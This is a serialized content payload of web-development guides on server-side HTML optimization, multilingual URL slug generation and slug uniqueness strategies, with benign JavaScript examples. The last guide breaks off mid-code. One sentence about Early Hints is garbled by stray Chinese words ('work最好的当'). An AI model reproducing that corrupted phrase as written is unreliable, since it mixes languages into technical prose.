Reduction",[211,185233,185234,185244,185255,185265],{},[199,185235,185236,185238,185241],{},[216,185237,124063],{},[216,185239,185240],{},"V8 isolates",[216,185242,185243],{},"50–150 ms",[199,185245,185246,185249,185252],{},[216,185247,185248],{},"Vercel Edge",[216,185250,185251],{},"V8 \u002F Deno",[216,185253,185254],{},"30–100 ms",[199,185256,185257,185260,185262],{},[216,185258,185259],{},"Netlify Edge",[216,185261,9668],{},[216,185263,185264],{},"40–120 ms",[199,185266,185267,185270,185272],{},[216,185268,185269],{},"AWS Lambda@Edge",[216,185271,118955],{},[216,185273,185274],{},"30–80 ms",[16,185276,185277],{},"Edge runtimes have limitations — restricted Node.js API access, smaller memory limits, no filesystem. Use them for pages that need personalization but not heavy computation. For compute-intensive pages, stick with origin SSR and strong CDN caching.",[11,185279,185281],{"id":185280},"early-hints-103-status","Early Hints (103 Status)",[16,185283,421,185284,185287],{},[143,185285,185286],{},"103 Early Hints"," response lets the server send resource hints before the final HTML is ready. The browser can start loading critical CSS, JavaScript, or preconnecting to origins while the server finishes rendering.",[135,185289,185291],{"className":185075,"code":185290,"language":185077,"meta":141,"style":141},"HTTP\u002F1.1 103 Early Hints\nLink: \u003C\u002Fcss\u002Fcritical.css>; rel=preload; as=style\nLink: \u003C\u002Fjs\u002Fapp.js>; rel=modulepreload\n\nHTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml\n",[143,185292,185293,185298,185303,185308,185312,185317],{"__ignoreMap":141},[1560,185294,185295],{"class":1562,"line":1563},[1560,185296,185297],{},"HTTP\u002F1.1 103 Early Hints\n",[1560,185299,185300],{"class":1562,"line":337},[1560,185301,185302],{},"Link: \u003C\u002Fcss\u002Fcritical.css>; rel=preload; as=style\n",[1560,185304,185305],{"class":1562,"line":343},[1560,185306,185307],{},"Link: \u003C\u002Fjs\u002Fapp.js>; rel=modulepreload\n",[1560,185309,185310],{"class":1562,"line":365},[1560,185311,1702],{"emptyLinePlaceholder":363},[1560,185313,185314],{"class":1562,"line":889},[1560,185315,185316],{},"HTTP\u002F1.1 200 OK\n",[1560,185318,185319],{"class":1562,"line":1710},[1560,185320,185321],{},"Content-Type: text\u002Fhtml\n",[16,185323,185324],{},"Early Hints work最好的当 SSR takes 200 ms or more. The browser uses that wait time productively instead of sitting idle. Cloudflare and Vercel support Early Hints with zero configuration changes.",[11,185326,1355],{"id":1354},[41,185328,185329,185332,185341,185344,185347],{},[44,185330,185331],{},"Enable gzip or Brotli compression first — it delivers the largest size reduction with the least effort",[44,185333,1388,185334,12674,185336,1856,185338,185340],{},[143,185335,35063],{},[143,185337,185110],{},[143,185339,185114],{}," for dynamic pages",[44,185342,185343],{},"Minify SSR output via middleware or CDN, but prefer build-time minification for static sites",[44,185345,185346],{},"Stream HTML responses so the browser can start rendering before the full page is ready",[44,185348,185349],{},"Edge rendering reduces latency for personalized pages but has runtime limitations",[11,185351,321],{"id":320},[41,185353,185354,185358,185363],{},[44,185355,185356],{},[98,185357,124196],{"href":50523},[44,185359,185360],{},[98,185361,185362],{"href":126103},"HTML Minification vs Gzip Compression",[44,185364,185365],{},[98,185366,125076],{"href":125075},[11,185368,286],{"id":285},[16,185370,185371,185372,185374],{},"Minify your HTML server output with our free ",[98,185373,125088],{"href":124175},". Paste your rendered markup and see instant size reduction — then deploy minification at build time or via your CDN for production traffic.",[2043,185376,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":185378},[185379,185380,185381,185382,185383,185384,185385,185386,185387],{"id":184968,"depth":337,"text":184969},{"id":185063,"depth":337,"text":185064},{"id":185145,"depth":337,"text":185146},{"id":185171,"depth":337,"text":185172},{"id":185213,"depth":337,"text":185214},{"id":185280,"depth":337,"text":185281},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how server-side HTML optimization techniques — including compression, caching, streaming, and edge rendering — reduce load times and TTFB.",{"immutable":363},"\u002Fguides\u002Fserver-side-html-optimization",{"title":184960,"description":185388},"guides\u002Fserver-side-html-optimization","Y6VFUh_E7fb60YndWq3FDrx3eMKUvu80J8WvAxBew3M",{"id":185395,"title":185396,"body":185397,"date":2070,"description":186115,"extension":361,"meta":186116,"navigation":363,"path":186117,"readingTime":1717,"seo":186118,"stem":186119,"__hash__":186120},"guides\u002Fguides\u002Fslug-generation-multilingual-urls.md","Slug Generation for Multilingual URLs: Best Practices",{"type":8,"value":185398,"toc":186096},[185399,185403,185406,185409,185413,185417,185420,185475,185483,185487,185490,185541,185553,185557,185560,185767,185770,185774,185778,185781,185870,185873,185877,185880,185915,185918,185922,185925,185930,185934,185944,185948,185981,185985,185988,186040,186042,186067,186069,186085,186087,186093],[11,185400,185402],{"id":185401},"why-multilingual-slugs-are-hard","Why Multilingual Slugs Are Hard",[16,185404,185405],{},"English URL slugs are straightforward: lowercase, replace spaces with hyphens, strip special characters. But multilingual content introduces characters that don't fit ASCII — accented letters (é, ü, ñ), non-Latin scripts (中文, عربي, キリル), and ligatures (æ, ß).",[16,185407,185408],{},"Now RFC 3986 restricts URLs to a limited ASCII subset. Internationalized Resource Identifiers (IRIs) extend this, but in practice browsers and servers rely on Punycode encoding for non-ASCII domain names and percent-encoding for path segments. Your slug generation strategy must respect these constraints while remaining readable and SEO-friendly.",[11,185410,185412],{"id":185411},"three-strategies-for-multilingual-slugs","Three Strategies for Multilingual Slugs",[33,185414,185416],{"id":185415},"strategy-1-transliterate-to-ascii","Strategy 1: Transliterate to ASCII",[16,185418,185419],{},"Convert non-ASCII characters to their closest ASCII equivalent:",[193,185421,185422,185434],{},[196,185423,185424],{},[199,185425,185426,185428,185431],{},[202,185427,11090],{},[202,185429,185430],{},"Transliterated",[202,185432,185433],{},"Slug",[211,185435,185436,185449,185462],{},[199,185437,185438,185441,185444],{},[216,185439,185440],{},"Café au lait",[216,185442,185443],{},"Cafe au lait",[216,185445,185446],{},[143,185447,185448],{},"cafe-au-lait",[199,185450,185451,185454,185457],{},[216,185452,185453],{},"München",[216,185455,185456],{},"Munchen",[216,185458,185459],{},[143,185460,185461],{},"munchen",[199,185463,185464,185467,185470],{},[216,185465,185466],{},"Szczęść Boże",[216,185468,185469],{},"Szczesc Boze",[216,185471,185472],{},[143,185473,185474],{},"szczesc-boze",[16,185476,185477,185479,185480,185482],{},[47,185478,7444],{},": Fully ASCII-safe, no encoding issues, works everywhere\n",[47,185481,7447],{},": Loss of meaning for non-Latin scripts (\"北京\" → \"bei jing\" loses the visual connection), inconsistent transliteration libraries",[33,185484,185486],{"id":185485},"strategy-2-preserve-unicode-recommended-for-non-latin","Strategy 2: Preserve Unicode (Recommended for non-Latin)",[16,185488,185489],{},"Keep the original characters in the slug. The browser percent-encodes them automatically:",[193,185491,185492,185502],{},[196,185493,185494],{},[199,185495,185496,185498,185500],{},[202,185497,9824],{},[202,185499,23975],{},[202,185501,185433],{},[211,185503,185504,185516,185529],{},[199,185505,185506,185509,185512],{},[216,185507,185508],{},"Chinese",[216,185510,185511],{},"北京旅游指南",[216,185513,185514],{},[143,185515,185511],{},[199,185517,185518,185521,185524],{},[216,185519,185520],{},"Arabic",[216,185522,185523],{},"دليل السفر",[216,185525,185526],{},[143,185527,185528],{},"دليل-السفر",[199,185530,185531,185534,185537],{},[216,185532,185533],{},"Japanese",[216,185535,185536],{},"東京観光ガイド",[216,185538,185539],{},[143,185540,185536],{},[16,185542,185543,185545,185546,185548,185549,185552],{},[47,185544,7444],{},": Preserves meaning, better click-through rates for native readers\n",[47,185547,7447],{},": URLs look encoded when copied (",[143,185550,185551],{},"%E5%8C%97%E4%BA%AC","), some analytics tools don't handle percent-encoded URLs well",[33,185554,185556],{"id":185555},"strategy-3-hybrid-approach","Strategy 3: Hybrid Approach",[16,185558,185559],{},"Use ASCII slugs for Latin-script languages and Unicode slugs for non-Latin:",[135,185561,185563],{"className":1607,"code":185562,"language":1609,"meta":141,"style":141},"function generateSlug(text, locale) {\n  const normalized = text.toLowerCase().trim()\n\n  if (isLatinScript(locale)) {\n    return transliterate(normalized)\n      .replace(\u002F[^a-z0-9]+\u002Fg, '-')\n      .replace(\u002F^-|-$\u002Fg, '')\n  }\n\n  return normalized\n    .replace(\u002F\\s+\u002Fg, '-')\n    .replace(\u002F[^\\p{L}\\p{N}-]\u002Fgu, '')\n}\n",[143,185564,185565,185583,185602,185606,185618,185628,185657,185687,185691,185695,185702,185727,185763],{"__ignoreMap":141},[1560,185566,185567,185569,185572,185574,185576,185578,185581],{"class":1562,"line":1563},[1560,185568,8648],{"class":1669},[1560,185570,185571],{"class":1566}," generateSlug",[1560,185573,1688],{"class":1570},[1560,185575,140],{"class":2219},[1560,185577,1459],{"class":1570},[1560,185579,185580],{"class":2219},"locale",[1560,185582,9345],{"class":1570},[1560,185584,185585,185587,185590,185592,185594,185596,185598,185600],{"class":1562,"line":337},[1560,185586,28057],{"class":1669},[1560,185588,185589],{"class":1576}," normalized",[1560,185591,8186],{"class":1669},[1560,185593,22718],{"class":1570},[1560,185595,38784],{"class":1566},[1560,185597,42138],{"class":1570},[1560,185599,38015],{"class":1566},[1560,185601,27830],{"class":1570},[1560,185603,185604],{"class":1562,"line":343},[1560,185605,1702],{"emptyLinePlaceholder":363},[1560,185607,185608,185610,185612,185615],{"class":1562,"line":365},[1560,185609,27984],{"class":1669},[1560,185611,5181],{"class":1570},[1560,185613,185614],{"class":1566},"isLatinScript",[1560,185616,185617],{"class":1570},"(locale)) {\n",[1560,185619,185620,185622,185625],{"class":1562,"line":889},[1560,185621,9434],{"class":1669},[1560,185623,185624],{"class":1566}," transliterate",[1560,185626,185627],{"class":1570},"(normalized)\n",[1560,185629,185630,185632,185634,185636,185638,185640,185642,185645,185647,185649,185651,185653,185655],{"class":1562,"line":1710},[1560,185631,123907],{"class":1570},[1560,185633,22721],{"class":1566},[1560,185635,1688],{"class":1570},[1560,185637,9423],{"class":5634},[1560,185639,24385],{"class":1576},[1560,185641,38799],{"class":1669},[1560,185643,185644],{"class":1576},"a-z0-9]",[1560,185646,9448],{"class":1669},[1560,185648,9423],{"class":5634},[1560,185650,22733],{"class":1669},[1560,185652,1459],{"class":1570},[1560,185654,43115],{"class":5634},[1560,185656,8252],{"class":1570},[1560,185658,185659,185661,185663,185665,185667,185669,185671,185673,185675,185677,185679,185681,185683,185685],{"class":1562,"line":1717},[1560,185660,123907],{"class":1570},[1560,185662,22721],{"class":1566},[1560,185664,1688],{"class":1570},[1560,185666,9423],{"class":5634},[1560,185668,38799],{"class":1669},[1560,185670,9412],{"class":11919},[1560,185672,7334],{"class":1669},[1560,185674,9412],{"class":11919},[1560,185676,11938],{"class":1669},[1560,185678,9423],{"class":5634},[1560,185680,22733],{"class":1669},[1560,185682,1459],{"class":1570},[1560,185684,5635],{"class":5634},[1560,185686,8252],{"class":1570},[1560,185688,185689],{"class":1562,"line":1747},[1560,185690,4959],{"class":1570},[1560,185692,185693],{"class":1562,"line":2507},[1560,185694,1702],{"emptyLinePlaceholder":363},[1560,185696,185697,185699],{"class":1562,"line":2524},[1560,185698,9350],{"class":1669},[1560,185700,185701],{"class":1570}," normalized\n",[1560,185703,185704,185706,185708,185710,185712,185715,185717,185719,185721,185723,185725],{"class":1562,"line":2529},[1560,185705,37982],{"class":1570},[1560,185707,22721],{"class":1566},[1560,185709,1688],{"class":1570},[1560,185711,9423],{"class":5634},[1560,185713,185714],{"class":1576},"\\s",[1560,185716,9448],{"class":1669},[1560,185718,9423],{"class":5634},[1560,185720,22733],{"class":1669},[1560,185722,1459],{"class":1570},[1560,185724,43115],{"class":5634},[1560,185726,8252],{"class":1570},[1560,185728,185729,185731,185733,185735,185737,185739,185741,185744,185747,185749,185752,185754,185757,185759,185761],{"class":1562,"line":2534},[1560,185730,37982],{"class":1570},[1560,185732,22721],{"class":1566},[1560,185734,1688],{"class":1570},[1560,185736,9423],{"class":5634},[1560,185738,24385],{"class":1576},[1560,185740,38799],{"class":1669},[1560,185742,185743],{"class":11915},"\\p",[1560,185745,185746],{"class":1576},"{L}",[1560,185748,185743],{"class":11915},[1560,185750,185751],{"class":1576},"{N}-]",[1560,185753,9423],{"class":5634},[1560,185755,185756],{"class":1669},"gu",[1560,185758,1459],{"class":1570},[1560,185760,5635],{"class":5634},[1560,185762,8252],{"class":1570},[1560,185764,185765],{"class":1562,"line":2542},[1560,185766,1585],{"class":1570},[16,185768,185769],{},"This gives Latin-script users clean ASCII URLs while preserving readability for CJK and other scripts.",[11,185771,185773],{"id":185772},"handling-specific-scripts","Handling Specific Scripts",[33,185775,185777],{"id":185776},"accented-latin-characters","Accented Latin Characters",[16,185779,185780],{},"Use Unicode Normalization Form D (NFD) to decompose accented characters, then strip combining marks:",[135,185782,185784],{"className":1607,"code":185783,"language":1609,"meta":141,"style":141},"function removeAccents(text) {\n  return text.normalize('NFD').replace(\u002F[\\u0300-\\u036f]\u002Fg, '')\n}\n\nremoveAccents('café')  \u002F\u002F 'cafe'\nremoveAccents('Zürich')  \u002F\u002F 'Zurich'\n",[143,185785,185786,185799,185833,185837,185841,185856],{"__ignoreMap":141},[1560,185787,185788,185790,185793,185795,185797],{"class":1562,"line":1563},[1560,185789,8648],{"class":1669},[1560,185791,185792],{"class":1566}," removeAccents",[1560,185794,1688],{"class":1570},[1560,185796,140],{"class":2219},[1560,185798,9345],{"class":1570},[1560,185800,185801,185803,185805,185807,185809,185812,185814,185816,185818,185820,185823,185825,185827,185829,185831],{"class":1562,"line":337},[1560,185802,9350],{"class":1669},[1560,185804,22718],{"class":1570},[1560,185806,162581],{"class":1566},[1560,185808,1688],{"class":1570},[1560,185810,185811],{"class":5634},"'NFD'",[1560,185813,9368],{"class":1570},[1560,185815,22721],{"class":1566},[1560,185817,1688],{"class":1570},[1560,185819,9423],{"class":5634},[1560,185821,185822],{"class":1576},"[\\u0300-\\u036f]",[1560,185824,9423],{"class":5634},[1560,185826,22733],{"class":1669},[1560,185828,1459],{"class":1570},[1560,185830,5635],{"class":5634},[1560,185832,8252],{"class":1570},[1560,185834,185835],{"class":1562,"line":343},[1560,185836,1585],{"class":1570},[1560,185838,185839],{"class":1562,"line":365},[1560,185840,1702],{"emptyLinePlaceholder":363},[1560,185842,185843,185846,185848,185851,185853],{"class":1562,"line":889},[1560,185844,185845],{"class":1566},"removeAccents",[1560,185847,1688],{"class":1570},[1560,185849,185850],{"class":5634},"'café'",[1560,185852,10060],{"class":1570},[1560,185854,185855],{"class":1649},"\u002F\u002F 'cafe'\n",[1560,185857,185858,185860,185862,185865,185867],{"class":1562,"line":1710},[1560,185859,185845],{"class":1566},[1560,185861,1688],{"class":1570},[1560,185863,185864],{"class":5634},"'Zürich'",[1560,185866,10060],{"class":1570},[1560,185868,185869],{"class":1649},"\u002F\u002F 'Zurich'\n",[16,185871,185872],{},"This handles French, German, Spanish, Portuguese, and most European languages.",[33,185874,185876],{"id":185875},"cjk-characters","CJK Characters",[16,185878,185879],{},"Chinese, Japanese, and Korean characters don't decompose via NFD. Decide per-language:",[41,185881,185882,185890,185902],{},[44,185883,185884,185886,185887,1525],{},[47,185885,185508],{},": Preserve Unicode for readability (",[143,185888,185889],{},"北京旅游",[44,185891,185892,185894,185895,185898,185899,1525],{},[47,185893,185533],{},": Some sites use romaji (",[143,185896,185897],{},"tokyo-kanko","), others preserve kana\u002Fkanji (",[143,185900,185901],{},"東京観光",[44,185903,185904,185907,185908,185911,185912,1525],{},[47,185905,185906],{},"Korean",": Hangul can be preserved (",[143,185909,185910],{},"서울-여행",") or transliterated (",[143,185913,185914],{},"seoul-yeohaeng",[16,185916,185917],{},"Google has stated that CJK URLs work fine for indexing. Preserve the script when your audience reads it natively.",[33,185919,185921],{"id":185920},"arabic-and-hebrew-rtl","Arabic and Hebrew (RTL)",[16,185923,185924],{},"Right-to-left scripts in URLs can cause display confusion. Browsers handle the encoding, but the visual representation in the address bar may look odd. Test in multiple browsers.",[16,185926,185927,185929],{},[47,185928,49059],{},": Transliterate Arabic and Hebrew to ASCII unless your audience strongly prefers native script URLs.",[33,185931,185933],{"id":185932},"cyrillic","Cyrillic",[16,185935,185936,185937,52609,185940,185943],{},"Russian site owners commonly transliterate to ASCII (",[143,185938,185939],{},"московский-путеводитель",[143,185941,185942],{},"moskovskiy-putevoditel","). This avoids visual ambiguity with Latin characters (Cyrillic \"а\" looks identical to Latin \"a\") which can enable homograph phishing.",[11,185945,185947],{"id":185946},"seo-considerations","SEO Considerations",[41,185949,185950,185956,185963,185969,185975],{},[44,185951,185952,185955],{},[47,185953,185954],{},"Google handles both ASCII and Unicode slugs"," — no ranking penalty for either approach",[44,185957,185958,185962],{},[47,185959,1388,185960,124277],{},[143,185961,182587],{}," to associate translated URLs with their language",[44,185964,185965,185968],{},[47,185966,185967],{},"Keep slugs consistent"," — the same content should always generate the same slug",[44,185970,185971,185974],{},[47,185972,185973],{},"Avoid mixing scripts"," in a single slug — don't combine Latin and CJK characters in one URL segment",[44,185976,185977,185980],{},[47,185978,185979],{},"Shorter slugs perform better"," — transliteration produces shorter URLs than percent-encoded Unicode",[11,185982,185984],{"id":185983},"normalization-pipeline","Normalization Pipeline",[16,185986,185987],{},"A robust slug generator follows these steps:",[77,185989,185990,185996,186002,186008,186014,186020,186029,186035],{},[44,185991,185992,185995],{},[47,185993,185994],{},"Trim"," leading and trailing whitespace",[44,185997,185998,186001],{},[47,185999,186000],{},"Normalize"," to NFC (composed form) for consistent representation",[44,186003,186004,186007],{},[47,186005,186006],{},"Locale-specific processing"," — transliterate or preserve based on script",[44,186009,186010,186013],{},[47,186011,186012],{},"Lowercase"," for Latin scripts (skip for CJK where case doesn't apply)",[44,186015,186016,186019],{},[47,186017,186018],{},"Replace separators"," — spaces and underscores to hyphens",[44,186021,186022,186025,186026,1525],{},[47,186023,186024],{},"Strip remaining"," non-word characters (regex: ",[143,186027,186028],{},"[^\\p{L}\\p{N}-]",[44,186030,186031,186034],{},[47,186032,186033],{},"Collapse"," multiple hyphens into one",[44,186036,186037,186039],{},[47,186038,185994],{}," leading and trailing hyphens",[11,186041,1355],{"id":1354},[41,186043,186044,186047,186050,186053,186056,186061,186064],{},[44,186045,186046],{},"Multilingual slugs require choosing between transliteration, Unicode preservation, or a hybrid approach",[44,186048,186049],{},"Transliterate Latin-script accents using NFD normalization and combining mark removal",[44,186051,186052],{},"Preserve CJK characters for native audiences — Google indexes them correctly",[44,186054,186055],{},"Transliterate Arabic and Hebrew to avoid RTL display issues",[44,186057,1388,186058,186060],{},[143,186059,182587],{}," tags to link translated pages across languages",[44,186062,186063],{},"Follow a consistent normalization pipeline to generate stable, repeatable slugs",[44,186065,186066],{},"Avoid mixing scripts in a single slug segment",[11,186068,321],{"id":320},[41,186070,186071,186075,186080],{},[44,186072,186073],{},[98,186074,183675],{"href":182696},[44,186076,186077],{},[98,186078,186079],{"href":182736},"SEO-Friendly URLs",[44,186081,186082],{},[98,186083,186084],{"href":182702},"Slugification: How It Works",[11,186086,286],{"id":285},[16,186088,186089,186090,186092],{},"Generate URL slugs for any language instantly with our free ",[98,186091,156905],{"href":156904},". Paste your title, choose a strategy, and get a clean, SEO-friendly slug in one click.",[2043,186094,186095],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":186097},[186098,186099,186104,186110,186111,186112,186113,186114],{"id":185401,"depth":337,"text":185402},{"id":185411,"depth":337,"text":185412,"children":186100},[186101,186102,186103],{"id":185415,"depth":343,"text":185416},{"id":185485,"depth":343,"text":185486},{"id":185555,"depth":343,"text":185556},{"id":185772,"depth":337,"text":185773,"children":186105},[186106,186107,186108,186109],{"id":185776,"depth":343,"text":185777},{"id":185875,"depth":343,"text":185876},{"id":185920,"depth":343,"text":185921},{"id":185932,"depth":343,"text":185933},{"id":185946,"depth":337,"text":185947},{"id":185983,"depth":337,"text":185984},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to generate URL slugs for multilingual content — handling accented characters, CJK, Arabic script, and SEO implications across languages.",{"immutable":363},"\u002Fguides\u002Fslug-generation-multilingual-urls",{"title":185396,"description":186115},"guides\u002Fslug-generation-multilingual-urls","0cL3ePaQKL5OwVBdoCrqWLiGHrOgdbU326iCyGULNuM",{"id":186122,"title":186123,"body":186124,"date":2070,"description":187321,"extension":361,"meta":187322,"navigation":363,"path":187323,"readingTime":1710,"seo":187324,"stem":187325,"__hash__":187326},"guides\u002Fguides\u002Fslug-uniqueness-strategies.md","Slug Uniqueness Strategies Guide",{"type":8,"value":186125,"toc":187313},[186126,186129,186133,186136,186162,186200,186203,186207,186210,186348,186352,186363,186368,186386,186392,186543,186547,186550,186633,186637,186651,186655,186666,186672,186675,186763,186766,186770,186773,186816,186988,186992,187003,187007,187018,187022,187025,187054,187248,187255,187259,187304,187310],[16,186127,186128],{},"Every page on your site needs a unique URL slug. When two articles share the same title — \"Introduction to Python\" appears in both a beginner series and a data science track — you need a strategy to disambiguate them. The approach you choose affects URL aesthetics, SEO value, and system complexity. This guide covers three proven strategies with their tradeoffs.",[11,186130,186132],{"id":186131},"the-problem-title-collisions","The Problem: Title Collisions",[16,186134,186135],{},"Title collisions are more common than you might expect:",[41,186137,186138,186144,186150,186156],{},[44,186139,186140,186143],{},[47,186141,186142],{},"Series articles",": \"Part 1\", \"Part 2\" → identical after slug truncation",[44,186145,186146,186149],{},[47,186147,186148],{},"Updated posts",": \"React Tutorial\" reposted in 2025 and 2026",[44,186151,186152,186155],{},[47,186153,186154],{},"Category overlaps",": same topic covered in different contexts",[44,186157,186158,186161],{},[47,186159,186160],{},"User-generated content",": multiple users naming items identically",[135,186163,186165],{"className":1607,"code":186164,"language":1609,"meta":141,"style":141},"\u002F\u002F Collision example\nslugify('Introduction to Python')       \u002F\u002F 'introduction-to-python'\nslugify('Introduction to Python')       \u002F\u002F 'introduction-to-python' — duplicate!\n",[143,186166,186167,186172,186187],{"__ignoreMap":141},[1560,186168,186169],{"class":1562,"line":1563},[1560,186170,186171],{"class":1649},"\u002F\u002F Collision example\n",[1560,186173,186174,186177,186179,186182,186184],{"class":1562,"line":337},[1560,186175,186176],{"class":1566},"slugify",[1560,186178,1688],{"class":1570},[1560,186180,186181],{"class":5634},"'Introduction to Python'",[1560,186183,38678],{"class":1570},[1560,186185,186186],{"class":1649},"\u002F\u002F 'introduction-to-python'\n",[1560,186188,186189,186191,186193,186195,186197],{"class":1562,"line":343},[1560,186190,186176],{"class":1566},[1560,186192,1688],{"class":1570},[1560,186194,186181],{"class":5634},[1560,186196,38678],{"class":1570},[1560,186198,186199],{"class":1649},"\u002F\u002F 'introduction-to-python' — duplicate!\n",[16,186201,186202],{},"Without a uniqueness strategy, the second article either overwrites the first or fails to save — both are bad outcomes.",[11,186204,186206],{"id":186205},"strategy-1-numeric-suffixes","Strategy 1: Numeric Suffixes",[16,186208,186209],{},"The simplest approach adds an incrementing number when a collision occurs:",[135,186211,186213],{"className":1607,"code":186212,"language":1609,"meta":141,"style":141},"async function uniqueNumericSlug(baseSlug, slugExists) {\n  if (!await slugExists(baseSlug)) return baseSlug\n\n  let counter = 2\n  while (await slugExists(`${baseSlug}-${counter}`)) {\n    counter++\n  }\n  return `${baseSlug}-${counter}`\n}\n\n\u002F\u002F Results:\n\u002F\u002F 'introduction-to-python'\n\u002F\u002F 'introduction-to-python-2'\n\u002F\u002F 'introduction-to-python-3'\n",[143,186214,186215,186236,186256,186260,186271,186296,186303,186307,186321,186325,186329,186334,186338,186343],{"__ignoreMap":141},[1560,186216,186217,186219,186221,186224,186226,186229,186231,186234],{"class":1562,"line":1563},[1560,186218,82166],{"class":1669},[1560,186220,38314],{"class":1669},[1560,186222,186223],{"class":1566}," uniqueNumericSlug",[1560,186225,1688],{"class":1570},[1560,186227,186228],{"class":2219},"baseSlug",[1560,186230,1459],{"class":1570},[1560,186232,186233],{"class":2219},"slugExists",[1560,186235,9345],{"class":1570},[1560,186237,186238,186240,186242,186245,186248,186251,186253],{"class":1562,"line":337},[1560,186239,27984],{"class":1669},[1560,186241,5181],{"class":1570},[1560,186243,186244],{"class":1669},"!await",[1560,186246,186247],{"class":1566}," slugExists",[1560,186249,186250],{"class":1570},"(baseSlug)) ",[1560,186252,28313],{"class":1669},[1560,186254,186255],{"class":1570}," baseSlug\n",[1560,186257,186258],{"class":1562,"line":343},[1560,186259,1702],{"emptyLinePlaceholder":363},[1560,186261,186262,186264,186267,186269],{"class":1562,"line":365},[1560,186263,38049],{"class":1669},[1560,186265,186266],{"class":1570}," counter ",[1560,186268,7297],{"class":1669},[1560,186270,171736],{"class":1576},[1560,186272,186273,186275,186277,186279,186281,186283,186285,186287,186290,186292,186294],{"class":1562,"line":889},[1560,186274,38062],{"class":1669},[1560,186276,5181],{"class":1570},[1560,186278,38273],{"class":1669},[1560,186280,186247],{"class":1566},[1560,186282,1688],{"class":1570},[1560,186284,9560],{"class":5634},[1560,186286,186228],{"class":1570},[1560,186288,186289],{"class":5634},"}-${",[1560,186291,149695],{"class":1570},[1560,186293,9582],{"class":5634},[1560,186295,76199],{"class":1570},[1560,186297,186298,186301],{"class":1562,"line":1710},[1560,186299,186300],{"class":1570},"    counter",[1560,186302,89069],{"class":1669},[1560,186304,186305],{"class":1562,"line":1717},[1560,186306,4959],{"class":1570},[1560,186308,186309,186311,186313,186315,186317,186319],{"class":1562,"line":1747},[1560,186310,9350],{"class":1669},[1560,186312,34367],{"class":5634},[1560,186314,186228],{"class":1570},[1560,186316,186289],{"class":5634},[1560,186318,149695],{"class":1570},[1560,186320,100442],{"class":5634},[1560,186322,186323],{"class":1562,"line":2507},[1560,186324,1585],{"class":1570},[1560,186326,186327],{"class":1562,"line":2524},[1560,186328,1702],{"emptyLinePlaceholder":363},[1560,186330,186331],{"class":1562,"line":2529},[1560,186332,186333],{"class":1649},"\u002F\u002F Results:\n",[1560,186335,186336],{"class":1562,"line":2534},[1560,186337,186186],{"class":1649},[1560,186339,186340],{"class":1562,"line":2542},[1560,186341,186342],{"class":1649},"\u002F\u002F 'introduction-to-python-2'\n",[1560,186344,186345],{"class":1562,"line":2558},[1560,186346,186347],{"class":1649},"\u002F\u002F 'introduction-to-python-3'\n",[16,186349,186350,8037],{},[47,186351,99176],{},[41,186353,186354,186357,186360],{},[44,186355,186356],{},"URLs remain human-readable",[44,186358,186359],{},"Sequential numbering feels natural",[44,186361,186362],{},"No external dependencies",[16,186364,186365,8037],{},[47,186366,186367],{},"Disadvantages",[41,186369,186370,186376,186379],{},[44,186371,186372,186373,186375],{},"Numbers carry no semantic meaning — ",[143,186374,19759],{}," tells you nothing about content difference",[44,186377,186378],{},"Gaps appear when articles are deleted (1, 2, 4 if 3 is removed)",[44,186380,186381,186382,186385],{},"Race conditions in concurrent environments — two requests might both check for ",[143,186383,186384],{},"introduction-to-python-2"," at the same time and both claim it",[16,186387,186388,186391],{},[47,186389,186390],{},"Race condition fix",": Use a database unique constraint and retry on conflict:",[135,186393,186395],{"className":1607,"code":186394,"language":1609,"meta":141,"style":141},"async function safeNumericSlug(baseSlug, saveSlug) {\n  let slug = baseSlug\n  let counter = 1\n\n  while (true) {\n    try {\n      await saveSlug(slug)  \u002F\u002F INSERT with unique constraint\n      return slug\n    } catch (error) {\n      if (error.code !== 'UNIQUE_CONSTRAINT') throw error\n      counter++\n      slug = `${baseSlug}-${counter}`\n    }\n  }\n}\n",[143,186396,186397,186417,186428,186438,186442,186452,186459,186472,186479,186488,186507,186514,186531,186535,186539],{"__ignoreMap":141},[1560,186398,186399,186401,186403,186406,186408,186410,186412,186415],{"class":1562,"line":1563},[1560,186400,82166],{"class":1669},[1560,186402,38314],{"class":1669},[1560,186404,186405],{"class":1566}," 